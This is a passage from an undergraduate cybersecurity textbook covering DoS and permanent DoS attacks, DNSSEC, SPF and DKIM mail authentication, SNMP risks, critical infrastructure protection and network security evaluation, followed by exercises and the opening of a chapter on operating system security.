amount of traffic. And because the zombies are typically distributed over several
countries and several thousand computers, it is more or less impossible for the
victim to stop the traffic by using traditional firewalls.
In some types of attack, the victim faces an even bigger challenge, as the zombies
do not send traffic directly to the victim, but use DNS servers round and about as
amplifiers: each zombie sends spoofed DNS requests, which appear to come from
the victim, to a number of DNS servers, who then send the responses to the victim,
somewhat like in a Smurf attack. In this way the victim is completely prevented from
finding out where the attack really comes from.

8.10.6 Permanent DoS Attacks

Permanent DoS (often abbreviated PDoS) is a type of attack in which the attacked
system’s hardware is damaged so seriously that some components have to be re-
placed either partially or completely. The attack most often exploits vulnerabilities
in interfaces which are used for management of the victim’s hardware, especially in
routers, printers or network units. These interfaces are normally used for updating
the units’ firmware, but in a PDoS attack it is not a normal update, but a question
of replacing the normal firmware with a corrupt version, so that the unit becomes
completely unusable. To recover from the attack, the normal firmware has to be re-
installed or the whole unit has to be replaced by a new one. Seen from the attacker’s
point of view, PDoS is a very attractive form of attack, as the victim’s system is put
out of action with a single blow, whereas ordinary DoS attacks need a longer lasting
effort.
Over the last few years, this form of attack has become a particular threat for so-
called NEEDs (Network Enabled Embedded Devices). This type of device is found
in “smart” household equipment, appliances, monitoring systems, entertainment
electronics, medical equipment and so on, and is an important part of the concept
of the Internet of Things (IOT). A NEED is characterised by containing a small
embedded computer system with the possibility of connecting to a network and
often very poor protection against attack. Breakdown of the unit via a PDoS attack
can obviously have serious consequences: the unit can completely stop working, can
run out of control and can—especially in the case of medical equipment—engage in
life-threatening behaviour.
218 8 Network Security

8.10.7 Risks and Countermeasures for DOS Attacks

The really big risks from DoS attacks are loss of income and loss of user confidence,
because normal activities simply grind to a halt. In addition, a DoS attack, as
previously mentioned, can divert attention from other, even more serious, forms of
attack. As we have seen, possible countermeasures include:
• In the Application layer: To increase the number of possible transactions and set
limits for how long an individual transaction can last.
• In the Transport layer: To increase the number of possible connections and reduce
the timeout time for receipt of the final ACK in the 3-way handshake.
• In the Internet layer: To turn off ICMP broadcast for routers.
• In the Link layer and the Physical layer: To prevent physical access to network
equipment and media.
In general, attempts are made to stop DoS attacks by filtering the traffic with the
help of a firewall. However, this only works if you can decide where the traffic really
comes from. Attacks based on traffic with spoofed source addresses, as in SYN spoof
and many DDoS attacks, are much more difficult to deal with. A PF firewall at the
entrance to the victim’s network (an ingress filter) cannot easily identify incoming
spoofed PDUs and will anyway be heavily loaded during the attack. If possible, you
should therefore try to encourage the use of egress filters (packet filters at the exit)
in the networks where the spoofed PDUs are generated.

8.11 Security in DNS

DNS, as we have seen in Sect. 6.2.5, is a central element in the Internet. Basically,
DNS depends on a collection of servers which work as a distributed database that de-
scribes the relationship between Internet names and the corresponding IP addresses.
It should be clear from the description in Sect. 6.2.5 of how DNS operates, that the
relation between a particular name and the corresponding address can potentially be
found in three different places:
1. Locally in a resolver in an ordinary computer.
2. In a nearby DNS-server, which is often set up by the operator who offers Internet
services, or which serves an institution or (fairly large) company. Such a server
will typically cache copies of information fetched from an authoritative DNS
server.
3. In an authoritative DNS server, which can be placed anywhere in the world, and
which holds the authoritative information.
Any of these computer systems can be attacked by hackers or exposed to malware
or (D)DoS attacks, with the result that DNS is not avaílable and therefore that it is
not possible to respond to ordinary DNS requests. This paralyses the operation of
the network.
8.11 Security in DNS 219

Hacker attacks or malware can also have the result that the data which are stored
in DNS servers are modified, so the response to a query contains incorrect informa-
tion. Furthermore, since queries to and responses from DNS servers are normally
performed by sending single, unsigned and unencrypted UDP PDUs, both the query
and the response can be modified on their way between client and server. A special
form of attack seen in this connection is that the attacker monitors queries to the
server, and responds faster than the server with a spoofed response that looks as
though it comes from the genuine server. Typically, the immediate result of this will
be that the client gets a misleading response, but it can also have the long-term effect
that the misleading response is stored in the cache in an ordinary DNS server or in
the client’s resolver—a phenomenon known as cache poisoning. A similar effect can
be achieved if the attacker, by using malware or by other means, gets control over
the server and directly orders it to send out incorrect responses.
As neither DNS clients or servers are authenticated as part of the protocol, it is
also possible to set up false DNS servers, which respond to queries instead of the
genuine server.
A further set of threats are related to the phenomenon that clients under certain
circumstances can make dynamic changes in DNS. Typically, such clients are CA or
DHCP servers. These updates can contain incorrect information or cause deletion of
correct information which was stored previously in the DNS server.

8.11.1 Countermeasures for Use in DNS

One of the big weaknesses in DNS is plainly that queries from and responses to clients
are sent in unsigned and unencrypted UDP PDUs. They can therefore easily be faked
or modified. There have been several attempts to introduce more secure protocols,
of which the most accepted one is DNSSEC. In a system which uses DNSSEC,
the sender’s electronic signature is added to both the query and the response. This
signature is based on certificates whose trust chain goes back to a reliable DNS root
server, rather than to an ordinary PKI root server.
The signatures on the messages make it possible to ensure the PDUs’ integrity
and to authenticate the sender unambiguously. There is, however, still a risk that the
server has been compromised and that data stored in the server have therefore been
manipulated. To counteract this, the response in DNSSEC does not just contain the
Resource Records (“RRs”) which the client has asked for, but also an extra RR, of
type RRSIG, whose content is a signature for these RRs, produced by the sender
(which the client has just authenticated and therefore must be assumed to trust). In
some cases there can also be an RR of type DNSKEY, whose content is the sender’s
public key. This can be used by the recipient to verify the signature.
Generally speaking, DNSSEC works well as long as all parties really do verify the
signatures which appear in the PDUs that they receive. But not all DNS servers are
(yet) set up to handle these signatures. Especially the small, local resolvers often lack
the resources to check the signatures, so the desired security is not achieved to the
220 8 Network Security

full extent. A special problem is presented by zone transfers, where data for an entire
domain or subdomain of the Internet is transferred at a time. Here many resources
may be required, both to produce the signature and to check it on receipt. Large DNS
servers have to an increasing extent gone over to using hardware support in the form
of so-called Hardware Security Modules (often abbreviated just to HSMs), which
typically contain the necessary keys and certificates, together with a cryptoprocessor
to perform the desired cryptographic calculations.
It is worth noticing that DNSSEC does not provide confidentiality of the exchanged
messages, as they are signed but not encrypted. This is in fact a feature of the design
of the Internet, as DNS data are considered to be publicly available everywhere. This
opens up for a new vulnerability, known as Zone Walking, which enables an attacker
to build up a map of a domain’s structure and relationships. This can be exploited
later to direct attacks towards key systems in the domain.

8.12 Security in SMTP

As we have seen in Chap. 7, the basic SMTP protocol contains a vulnerability which
allows senders to hide their true identity, so they can send mail which appears to
come from someone else. This form of spoofing is typically used by spammers and
fraudsters and is a constant nuisance in the modern Internet.
To protect against this, a number of mechanisms for authentication of the sender
have been suggested. Two such mechanisms are in especially common use:
• Sender Policy Framework, commonly known as SPF [58].
• DomainKeys Identified Mail, commonly known as DKIM [23].
These protect against two different forms of spoofing and therefore complement one
another.

8.12.1 SPF

SPF is used to check whether the a sender with a given IP address is allowed to
send mail from the domain given in the initial EHLO (or HELO) command, or in the
MAIL FROM command of the SMTP dialogue. If it is not allowed, the dialogue is
aborted. Information about which sender IP addresses are acceptable can be found
in the DNS in the Resource Records for the domain. An RR of type TXT is used,
and an MTA which wants to check the validity of a sender can retrieve the record by
using an ordinary DNS query.
For the example in Fig. 7.2, the check would involve looking up the RRs of type
TXT in the DNS entry for the domain molester.dk. The result might, for example,
be the following:
v=spf1 ip4:178.21.210.10/24 a -all
8.12 Security in SMTP 221

Table 8.4 SPF mechanisms

Mechanism Effect

ip4 Matches if sender has an IPv4 address in the range given after ip4:
ip6 Matches if sender has an IPv6 address in the range given after ip6:.
a Matches if the sender’s IP address is one of the addresses given in the domain’s A or
AAAA resource records. (This means the mail comes from within the domain itself.)
mx Matches if the sender’s IP address corresponds to one of the MX hosts registered in
the DNS for the domain. (This means the mail comes from one of the domain’s mail
servers for incoming traffic.)
include Refers to the SPF policy given by another domain. If a match is found in that policy,
the sender’s address is accepted.
all Matches always.

The term v=spf1 shows that this is an SPF policy, and specifies the version of
SPF in use. Other terms (in SPF known as “mechanisms”) which can appear2 are
described in Table 8.4. So the little example above means that there wil be a match if
the sender’s IPv4 address lies in the range 178,21,219.0 to 178.21.210.255 or
is one of the addresses given in the A resource records for the domain molester.dk.
The range is described by using a so-called CIDR length: The /24 states how
many of the most significant bits of the addresses must be identical to give a
match. If the CIDR length is omitted, it is assumed to be /32 for IPv4, so that all
tha bits of the sender’s IP address must match the address given in the policy, as for
example in:
v=spf1 ip4:178.21.210.10 a -all
Correspondingly if IPv6 addresses are used, a missing CIDR length is assumed to
be /128.
What the result of the check will be if a match is found using a given mechanism
can be specified by prefixing the mechanism with a qualifier, as follows:
+ (plus) The result is PASS. This is the default if no qualifier is given.
? (query) The result is NEUTRAL.
˜ (tilde) The result is SOFTFAIL.
- (minus) The result is FAIL.
This feature makes it possible both to specify a “whitelist” of acceptable sender
addresses and a “blacklist” of unacceptable ones. As can be seen in the small
example above, it is also conventional to finish the policy with the mechanism -all.
As the mechanisms in a policy are tried out from left to right, this will be the last
mechanism to be tried and will have the effect of giving the result FAIL if none of the
previous mechanisms have been successful. Even domains which do not send mail
at all are encouraged to include an SPF policy which only includes the mechanism
-all, so that all attempts to send mail via the domain will fail.

2 There are two more defined mechanisms, PTR and EXISTS, but they are not recommended for
general use.
222 8 Network Security

The results above can obviously only be produced if a TXT record with the correct
format for an SPF policy (i.e starting with “v=spf1”) can be found. There are several
ways in which the DNS lookup may fail to find such a TXT RR:
• The DNS lookup times out or returns an error code indicating a server error or
similar. Result is TEMPERROR,
• There is no DNS entry for the sender’s domain. Result is NONE.
• A DNS entry for the domain exists, but contains no such TXT records. Result is
NONE.
• The DNS entry for the domain contains one such TXT record, but it contains
syntax errors. Result is PERMERROR.
• The DNS entry for the domain contains more than one such TXT record. Result
is PERMERROR.
It is up to the receiving MTA to decide what to do with the various results which
may occur. There are two types of reaction to consider:
1. Upstream: The MTA performing the check may want to inform the sender
of results such as fail, temperror and permerror which cause the SMTP
transaction to be aborted. Typically the MTA will send an SMTP error code such
as 451 (local error in processing) or 550 (mailbox unavailable) back to the sender.
2. Downstream: The MTA performing the check may want to inform the MUA
which will finally receive the mail about the results of the check. The MTA is
recommended to do this by adding further header lines to the mail. Two possible
forms of header line are defined for this purpose:
Received-SPF: This header line is used to provide details of the SPF check
performed by the MTA.
Authentication-Results: This header line is used to summarise the results
from a number of different authentication checks carried out on a mail.
In practice, both header lines are often used to report on the authentication status
of a mail. Some examples in cases where all the checks give the result pass can
be seen in Fig. 8.33.

8.12.2 DKIM

DKIM is based on the simple idea that a digital signature is added to the mail,
covering all the parts of the mail which an attacker might try to change, such as
the header lines or the body of the mail itself. The signature can be added by the
sender of the mail, by the sender’s local mail server, or even by a trusted third party
which offers a signing service. The signature is included in yet another header line:
DKIM-Signature. An example can be seen in Fig. 8.33. The header line contains a
number of fields in a <tag> = <value> format. This simple example only contains
the obligatory and the recommended tags, which are summarised in Table 8.5. A
complete list, including all the optional tags, can be found in [23].
8.12 Security in SMTP 223

Table 8.5 Obligatory and recommended tags for DKIM signatures

Tag Value

v DKIM Version number. Currently 1.

a Signing algorithm. Currently only rsa-sha256 or (for backward compability) rsa-sha1.
d Signing Domain Identifier (SDID).
s Selector. A text used to identify a particular pair of private/public encryption keys for use in
a given domain.
h A colon-separated list of names of the header fields to be included in the signature. The
From field is obligatory, all others are optional.
t Timestamp for signature, expressed as a decimal integer specifying the number of seconds
since 00:00:00 on January 1 1970, in the UTC time zone.
x Expiry time for signature, expressed as for tag t.
bh Cryptographic hash of the body of the mail, in Base64 encoding. An optional tag l can be
used to limit the calculation of this hash to the first l octets of the mail body.
b Signature of included headers and body, in Base64 encoding.

Creating the Signature: To produce the signature, first the hash function specified
by the a-tag is used to produce a hash of the body of the mail, which will appear as
the value of the bh-tag. Then the named header fields given by the h-tag are hashed
in the order given, followed by the DKIM-Signature header field itself (which must
not be named in the h-tag), followed finally by the body hash. The DKIM-Signature
header field must here include all its tags and values, except that the b-tag must
have an empty value, since the real value is obviously not known yet—it is what this
process is intended to produce.
The final combined hash value is then used in the signature algorithm specified
by the a-tag. If the default rsa signature is used, this just involves encrypting the

Authentication-Results: spf=pass smtp.mailfrom=molester.dk;

dkim=pass (signature was verified) header.d=molester.dk

Received-SPF: pass (design.fake.com: domain of [email protected]

designates 178.21.210.10 as permitted sender.)
receiver=design.fake.com; client-ip=178.21.210.10;
envelope-from="[email protected]"; helo=gogo.molester.dk;

DKIM-Signature: v=1; a=rsa-sha256; d=molester.dk; s=destructor;

q=dns/txt; t=1629937862; x=1629941462;
h=Received:From:To:Subject:Date:Message-ID;
bh=2jUSOH9NhtVGCQWNr9BrIAPreKQjO6Sn7XIkfJVOzv8=;
b=AuUoFEfDxTDkHlLXSZEpZj79LICEps6eda7W3deTVFOk4yAUoqOB
4nujc7YopdG5dWLSdNg6xNAZpOPr+kHxt1IrE+NahM6L/LbvaHut
KVdkLLkpVaVVQPzeRDI009SO2Il5Lu7rDNH6mZckBdrIx0orEtZV
4bmp/YzhwvcubU4=;

Fig. 8.33 Header lines reporting authentication checks in SMTP

224 8 Network Security

hash, together with the domain name (from tag d) and selector (from tag s), using a
private RSA key chosen by the signer.
Verifying the Signature: The DKIM signature in a mail can be checked by any
MTA which the mail passes, and will often also be checked by the final receiving
MUA. The system performing the check needs access to the public key which matches
the private key used to produce the signature. This is conventionally placed in a TXT
RR in the DNS entry for a domain whose name is constructed from the selector
and the name of the sender domain. In the case of our running example, for example,
this would be:
destructor._domainkey.molester.dk
(Note that _domainkey is an obligatory component of the name.) The contents of
the TXT record will typically be the public key (in Base64 encoding) and some
information on which cryptographic algorithm it is intended for. If there are several
TXT records, the keys may be tried out one after another. If none of them work, the
verification fails.
Essentially, the verifier follows the same procedure as the signer, but with checks
on the way:
1. Construct the body hash from the body of the mail. If it differs from the value in the
bh-tag of the received signature, terminate the verification with result PERMFAIL.
2. Construct the combined hash of the named header fields, the DKIM-Signature
header field (with empty value for b-tag) and the body hash.
3. Fetch the public key corresponding to the private key used to produce the sig-
nature. Just as with SPF, this involves DNS lookup, which may give temporary
failures (e.g. no reply) or permanent ones (No TXT records, incorrect syntax,
unsuitable key type, no key value,. . . ) which also cause the verification to fail.
4. Decrypt the signature in the b-tag of the received signature, to reveal the conbined
hash value evaluated by the sender. If this differs from the value evaluated in step
2, terminate the verification with result PERMFAIL.
If there are no results indicating failure, the verification is considered successful.
There is no mandatory way of announcing the result to MTAs which are “down-
stream” of the verifier, but an Authentication-Results header field is commonly used
for this purpose, as we have seen in Fig. 8.33

8.13 Security in SNMP

Simple Network Management Protocol (SNMP) is a simple, lightweight client-server

protocol, which makes it possible to read or change how network units are configured.
• The client (often denoted the “SNMP agent”) on a unit reports to and receives
instructions from the server (denoted the “SNMP manager”).
• Instructions from server to client can result in:
8.13 Security in SNMP 225

– Reading of values in the unit’s Management Information Base (MIB).

– Modification of values in the unit’s MIB.
SNMP is found in 3 main versions:
1. Version 1 (from 1988): The simplest version, with very few security mechanisms.
Exchange of messages requires authentication via “community strings” -– really
a kind of passphrase. Encryption is not used, and these community strings are
therefore sent in plaintext.
2. Version 2 (from 1993), which offers the possibility of encrypting data, although
in subversion 2c the use of community strings in plaintext is retained.
3. Version 3 (from 1999), which gives an even higher degree of cryptographic
protection and stronger possibilities for authentication than using simple names
in plaintext.

8.13.1 Risks and Countermeasures in Using SNMP

The use of SNMP introduces a number of risks, and it should therefore only be
installed if it is really going to be used by the network’s administrators. SNMP is
a favourite tool for parties who would like to take a “footprint” of a system before
they try to break into it. It can reveal properties such as which operating system is
being used, which updates have been installed, the names of administrators and other
technical details which are useful for an attacker. Furthermore, it can be exploited
by attackers to give DoS attacks through changes in the configuration of units.
SNMP version 1, which is still very commonly used, is especially exposed. It
sends community strings in plaintext, which can easily be sniffed, and it uses some
default community strings (“public” and “private”), which are often left unchanged
when SNMP is put into operation. This makes it easy for an attacker to read the
configuration information which is read or written. SNMP version 3 reduces these
risks, but can be exposed to traffic analysis and other forms of monitoring, which
can reveal the network’s topology and the placing of important systems.
Possible countermeasures include:
• To filter off incoming SNMP traffic by using firewalls.
• To replace the default community strings by stronger passphrases, and to change
them at regular intervals.
• If possible to use SNMP version 2 or version 3.
• To select some trustworthy systems as the only ones to receive SNMP messages.
• To keep SNMP software updated with the latest patches.
226 8 Network Security

8.14 Critical Infrastructure Protection

Even if most networks cover a somewhat limited area—a home, a company’s domi-
cile, a factory, a university or similar—you should remember that there are also some
very large networks which most often are established to support particular functions
in society. Two examples which have been mentioned previously in this book are the
telephone network and the Internet itself. But in the modern computerised world,
there are also networks for handling, amongst other things:
• Transport systems, for example based on planes, trains or cars;
• Production and distribution of utilities such as electricity, water, gas and heating;
• Money transfers and other financial activities.
If these large networks break down or are attacked, society can be paralysed. They
are said to make up a country’s or a whole region’s critical infrastructure. Attacks
on critical infrastructure are (so far) rare, but some successful attacks have become
known to the public and illustrate what can happen. One of the most spectacular
was an attack on the Internet in Estonia in 2007, in which a series of DDoS attacks
were used to prevent the network from operating. In connection with the Russian
annexation of Crimea in 2014, Russian troops disconnected Crimea from the Internet
by putting the Crimean point of attachment to the Internet in Simferopol out of action.
In 2017, a considerable number of hospitals in the United Kingdom had to close
their IT systems for several days due to an attack with ransomware. And in 2021, the
ransomware attack on the oil pipeline company Colonial Pipeline in USA caused an
acute fuel shortage in the eastern parts of USA.
Critical Infrastructure Protection (often abbreviated CIP) is a difficult discipline.
Even if the basic techniques are the same as those used in smaller networks, it is
naive to believe that it is possible to protect the control system for the electricity
distribution network just by setting up a firewall to prevent attacking traffic from
forcing its way in. The very size of the network means that a lot more is needed.
Amongst other things, the requirement for uninterrupted operation of the network
will mean that there must be a high degree of redundancy in the systems, so a faulty
or attacked component can immediately be replaced by a reserve component which
is fault-free. This must be the case both for the computers which are responsible for
functions in the network, and for the communication channels which connect these
computers.
In theory there are two basic ways to organise such a network:
1. Based on the Internet: This looks in many ways like an easy solution, as the
Internet is readily accessible and ready for use. But you need to think carefully, if
you want to use it to support critical infrastructure. Firstly, there are the ordinary
risks which companies and private persons are exposed to, when they connect
their computers to the Internet. But the actual physical extent of the critical
infrastructure will also mean that the communication will require support from
several DNS servers and routers in different areas, perhaps even in different
countries. If an attacker succeeds in attacking one of these central components
8.14 Critical Infrastructure Protection 227

in the Internet, then traffic can be blocked or sent via net segments where the
security is poor. This can obviously lead to breakdowns in the control system.
2. Independent of the Internet: In order not to be disturbed by the risks which we
have discussed earlier in this chapter, you could aim at setting up an independent
net for communication between the computers which are used in the control
system. This approach is attractive if it lies in the nature of things that there are
cables between the nodes in the network. In the electricity distribution network,
for example, the high voltage lines themselves can be used for communication—a
technique known as Power-line Carrier Communication (PLCC). Similarly, the
cables and fiberoptic connections which are used to control the signals in railways
can also be used for communication between parts of the control system.
In some parts of the critical infrastructure there is a tendency to combine these
two solutions. A private wind turbine for electricity production, for example, can be
coupled in and out of the distribution network via a dedicated network which handles
the necessary control of the entire electricity grid. But at the same time, the wind
turbine’s owner or the company that maintains the turbine may well use connections
through the Internet to monitor whether the turbine is operating satisfactorily.
It is very important that these two forms of communication are isolated carefully
from one another. There is a lesson to be learnt from an episode in 2003, when
a computer in the Davis-Besse nuclear power station (in Ohio, USA) was infected
by the computer worm Slammer, which paralysed part of the control system for 5
hours. Luckily the power station was not running at the time. The worm could reach
the control system’s computer because a sub-contractor for the plant had set up a
connection to the power station’s control room which did not go through the firewall
which was otherwise supposed to protect the control system’s computers. When the
sub-contractor’s network was attacked by the worm, the path to these computers
was therefore wide open. This illustrates how dangerous it can be to set up what
one might call “alternative routes” to computers which are used in control systems,
unless you analyse the security thoroughly.

Davis-Besse nuclear power station

Sub-contractor's Control room

network
Direct
connection

Connection Power station

network Server infected
to Internet FW by worm

Fig. 8.34 The event in the Davis-Besse nuclear power station (Foto of Davis-Besse cooling tower:
Wikimedia Commons p)
An ill-considered direct connection between an unprotected network and a protected network made
it possible for a worm to infect an important component in the plant’s control system.
228 8 Network Security

In small networks within an organisation or home, it is relatively easy to protect

the attached computers and cables from physical attacks. Access to the systems can
be limited and a competent responsible person can manage everything. But when
the network has such a large geographical coverage, as will typically be the case in
the critical infrastructure, then attacks on the physical equipment become harder to
prevent. It is well-known that railways often have problems with theft of cables and
the like during the night, and one of the most important reasons for this is simply that
it is extremely difficult to keep an eye on several hundred kilometers of copper wires
and optical fibres all the time. Parts of the critical infrastructure stretch out to thinly
populated areas, where it can also b.e relatively easy to break in and tamper with the
installed equipment. Modern windfarms for electricity or fuel production are often
placed at sea, where they are very difficult to protect against intruders approaching
by ship.
It is said that some significant attacks on critical infrastructure have been set
going by persons who—either personally or by exploiting the personnel via social
engineering—have installed malware in the systems by using an infected CD-ROM
or USB key. In 2013 it became known that the American security agency NSA has a
whole arsenal of equipment for surveillance of or actual interference in computers
and mobile phones, which were presented in a—at that time—secret catalogue, the
ANT catalog. This material was published in the German newspaper Der Spiegel,
amongst others, and large parts of it are now available on Wikimedia [91]. Amongst
other things one can find electronic components intended for building into an RJ45
plug, one of the most common types of plug used in cables in cable-based local area
networks. The components are miniature wireless sender/receivers, which can be

Fig. 8.35 An RJ45 plug. Is

there surveillance equipment
hiding in it?

controlled by an external agent, who can use them to read or modify the traffic passing
through the plug. It is probably a reasonable assumption that other countries’ security
services have access to similar equipment, which can be used both defensively for
surveillance of terrorists and other criminals, or more offensively for industrial
or military espionage—or attacks on critical infrastructure. CIP requires constant
alertness!

8.15 Evaluation of Network Security

The security in a network should always be evaluated! An evaluation for a business

network will typically involve the following elements:
8.15 Evaluation of Network Security 229

• Checking that the boundaries of your network are well-defined and documented.
• Evaluating trust relationships between networks.
• Checking the use of firewalls to separate networks and protect computers in the
network.
• Checking firewall rules for filtering traffic, and the use of “layering” with DMZs
for protection of networks.
• Checking that network security is not compromised by the use of unauthorised
modems and wireless APs, or by cables which bypass the firewall.
• Evaluating the use of encryption for protecting data during transfer.
• Checking whether controls such as personal firewalls are used to protect external
users’ computers.
• Checking whether an IDS is installed.
• Checking that insecure network services such as SNMP, tftp, telnet etc. are either
made secure or not used.
• Ensuring that network units and software are kept updated.
• Evaluating the security in wireless networks.
• Ensuring that functional plans for backup and recovery, business continuity and
recovery from disasters (see Chap. 11) are in place.
Most of these items also apply to home networks.

VPNs Routers

protect direct

monitor Network filter

IDSs Firewalls
traffic

generate

exchange
DNS address Computer
info with systems

Fig. 8.36 Network security concepts

Useful concepts which you should now know about

In this chapter, the following concepts were introduced:

• Spoofing
• S/MIME
• PGP
• VPN
230 8 Network Security

• Tunneling
• Tor
• SSL/TLS
• STARTTLS
• A firewall
• A packet filter (PF) firewall
• A SPI firewall
• An application proxy
• A screening router
• A dual-homed computer
• A screened host
• A screened subnet
• A DMZ
• A personal firewall
• An IDS
• Misuse detection
• Anomaly detection
• A false positive
• A false negative
• A Network IDS (NIDS)
• A Host IDS (HIDS)
• WEP
• WPA/WPA2
• A false BTS
• A DoS attack
• A Distributed DoS (DDoS) attack
• A DoS amplifier
• A zombie
• A Permanent DoS (PDoS) attack
• DNSSEC
• SNMP
• Critical infrastructure
• CIP
You should check that you understand their definitions and can give examples of
contexts where they play a role.

Further Reading

The computer security division of USA’s National Institute of Standards and Tech-
nology (NIST) has published a series of publications with more details and practical
advice on many of the topics touched on in this chapter. Most of these publications
give both an easily understandable introduction to the topic and a more technical
discussion of what you can do to maintain a high level of security. They have been
Exercises 231

published as part of NIST’s SP800 report series; a catalog of all reports in the
series can be found at URI http://csrc.nist.gov/publications/PubsSPs.html. All
the reports can be read and downloaded free of charge.
Many general texts on computer security, such as the 3rd. edition of Stallings and
Brown’s book “Computer Security: Principles and Practice”, contain technically
more detailed information on various aspects of network security.

Exercises

8.1 Cybersquatting
A security risk which is not discussed in this chapter is cybersquatting: unauthorised
registration of a domain or system name, which is identical to (or almost identical to)
the name of a known domain or system. For example: dansskebank.dk, which can
easily be read as danskebank.dk. Or nowhere.com instead of nowhere.co.uk.
Cybersquatting is often used by criminals in phishing attempts and similar attacks,
in order to fool inattentive users into opening a web page which contains malware.
Investigate how easy it is nowadays to register a domain name which is quite close
to the name of a better known domain.
8.2 Monitoring wireless personal networks
In the text of this chapter it says that passive monitoring of wireless networks “can
in general not be detected—and the eavesdropper does not need to be specially close
by”. In a wireless network you would, however, expect that monitoring would not
be possible if the listening equipment was placed further away than the range of
the sender’s radio transmitter. The range for the use of personal networks based on
Class 3 Bluetooth technology is in principle only a few meters. Try to investigate
whether it is possible to monitor a Bluetooth transmitter from larger distances than
these “few meters”. This exercise can be solved either by finding relevant literature
which discusses this problem, or by trying in practice to pick up the transmitter’s
signals from increasing distances.
8.3 Using unencrypted wireless networks
Consider a situation in which you use an unencrypted wireless network in a café, a
library or other similar public place.
a) Do you feel it is safe to read e-mail? Why/why not?
b) Do you feel it is safe to use WWW? Why/why not?
c) Do you feel it is safe to use a chat service? Why/why not?
d) Do you feel it is safe to use a netbank? Why/why not?
8.4 The false AP
Your organisation uses WiFi for “in-house” communication. At some stage, people
have begun to have their suspicions that there is a false AP set up in the vicinity, as
a number of events indicate regular attacks which affect staff members who often
connect their laptop computers to the wireless network. How would you try to find
232 8 Network Security

the false AP? You may possibly need some tools which can detect all wireless access
points in the area. If necessary, search on the net to find some good suggestions for
this type of tool.

8.5 Blacklisting
It says in the main text that it is important to trust the mail servers which mail passes
through. Some mail systems keep track of mail servers which they do not trust by
building up a so-called blacklist. Mail to or from blacklisted mail servers is blocked.
Investigate which blacklists are available in your area, and which criteria they use to
decide that a server should not be trusted.

8.6 Disposable alias names

When you give an e-mail address on a website or in an e-mail, there is always a risk
that it will be collected up and sold to complete outsiders for use in spam mailing or
similar. A technique for counteracting this risk is to use a new, fictive mail address
for each individual website. Services which support this technique will typically
allow mail to this fictive address to be passed on to your normal mail address. If the
fictive “alias” turns out to be a target for spam, it can easily be invalidated without
it being necessary to change the normal mail address. However, not all ISPs or mail
services welcome this technique. Investigate whether you have access to the use of
these so-called Disposable E-mail Addresses (DEAs) and in what contexts you are
allowed to use them.

8.7 Server certificates

When an SSL/TLS connection is to be set up between a client and a server, it is
mandatory for the server to send its certificate to the client. According to Sect. 8.4.1,
this is in order to give the client the possibility of checking the certificate, so that
it can be confident that it has got hold of the right server and is not a victim of a
redirection attack. Which information in the server’s certificate must the client check
in order to achieve this aim? Can the client handle this task on the basis of its own
knowledge? If not, where must further information be obtained from?

8.8 Spam and malware filtering

The use of SSL/TLS has, as we have seen, the negative aspect that encrypted traffic
cannot immediately be analysed by spam or malware filters on the way to its des-
tination. In an otherwise reasonably secure network setup like the screened subnet
shown in Fig. 8.23, it can therefore be a problem that traffic sent from outside to
(especially) the web server or mail server may contain spam or malware, which will
not be revealed until it is decrypted before being stored on the server. How should
the network’s architecture be changed so this undesirable material is filtered off and
does not reach the computers in the protected network when they have to process the
incoming mail, web page or similar?

8.9 DMZ networks

In a company network with a DMZ, as shown in Fig. 8.23, where would you place:
a) An FTP server, which should be accessible from outside (i.e. from the Internet)?
Exercises 233

b) A mail server, whihc is to be used to send mail from the protected network to
destinations outside the company network?
c) A database server with the company’s confidential documents?
d) An access point for the company’s internal WiFi network?
Give reasons for your choice.

8.10 Cybersecurity in medical equipment

There is a significant trend in the design of modern medical equipment, that it can
be controlled and measurements can be read off with the help of wireless communi-
cation. This has the obvious advantage that you can avoid cabled connections, which
limit both the patient’s and the medical personnel’s mobility. On the other hand,
it introduces the various risks which are associated with wireless technology: the
traffic can perhaps be monitored, modified or blocked by unauthorised persons. Espe-
cially equipment such as pacemakers and insulin pumps, which perform life-critical
functions, require exceptionally good protection against such attacks.
Try to investigate the literature in order to collect as much knowledge as you can
on this topic, with the aim of deciding whether it is a practical or just a theoretical
problem. A good starting point would be to try to find mentions of actual attack
attempts on medical equipment, and which vulnerabilities in the equipment may
have made it possible for the attacks to succeed.

8.11 A company’s web servers

For this exercise you should imagine that you work in a large organisation and have
the task of setting up the organisation’s web servers. The organisation believes in
the principle of “maximum openness”, in the sense that it should be possible to
find names, e-mail addresses and direct telephone numbers for all employees who
have contact to customers, suppliers, external partners etc. via the organisation’s
web pages. How would you propose to organise the organisation’s network, so the
organisation’s policy can be implemented without revealing information which could
compromise the organisation’s security?
Chapter 9
Security in Operating Systems

An operating system is a fundamental component in more or less all modern com-

puters, the only common exceptions being small embedded computers in pieces of
apparatus. It has the important task of hiding the details of the operation of the
hardware and offering a uniform interface which applications can build on. Among
its many functions, it looks after protecting programs against disturbing one another,
controlling access to the computer’s hardware and software resources, handling a
file system, and user administration, so only authorised users can have access to
the computer. In this chapter we focus on these various activities from a security
viewpoint.
Figure 9.1 illustrates schematically the two central security oriented functions in
an operating system:

User

Identity control

User
account

Permission control

Memory Physical
Files
areas units

Resources

Fig. 9.1 The operating system’s basic security functions

© The Author(s), under exclusive license to Springer Nature Switzerland AG 2024 235
R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3_9
236 9 Security in Operating Systems

1. Identity control: Control that a user who tries to use the system is a person
associated with an account on the system.
2. Permission control: Control that a user with a given account can only perform
activities, in which he or she uses the system’s resources, to the extent that the
account gives permission to use these resources.
The two striped barriers in the figure indicate figuratively where these controls are
carried out.
If the operating system is to offer a high level of security, there are a number
of requirements which must be fulfilled by the part of the system which performs
permission control. These are summarised in Requirements 9.1.

Requirements 9.1 (Properties of a system for permission control)

A system for permission control must have the properties:
1. The control must be performed on every attempt to access a resource, regardless
of the purpose: to read or write data, perform an instruction or whatever. This
requirement implies that it must not be possible to sneak round the control.
2. The control mechanism must be tamper-proof.
3. The control mechanism must be simple enough for it to be possible to analyse it
completely and thus demonstrate that it is correct.

A permission control mechanism which has these properties is said to implement

a Reference Monitor (RM). The concept of an RM was invented as early as 1972,
but was at first only used in connection with operating systems designed for use
in environments with very high security requirements, for example for the military.
Designers of OSs for ordinary use first exploited the concept around the year 2000.
In Sect. 9.4.6 we briefly discuss the extent to which common operating systems such
as Windows and Linux obey the principles for an RM.

9.1 User Authentication

Authentication is a process whose aim is to check whether something is authentic—

that is to say, that it really is what it claims to be. User authentication is correspond-
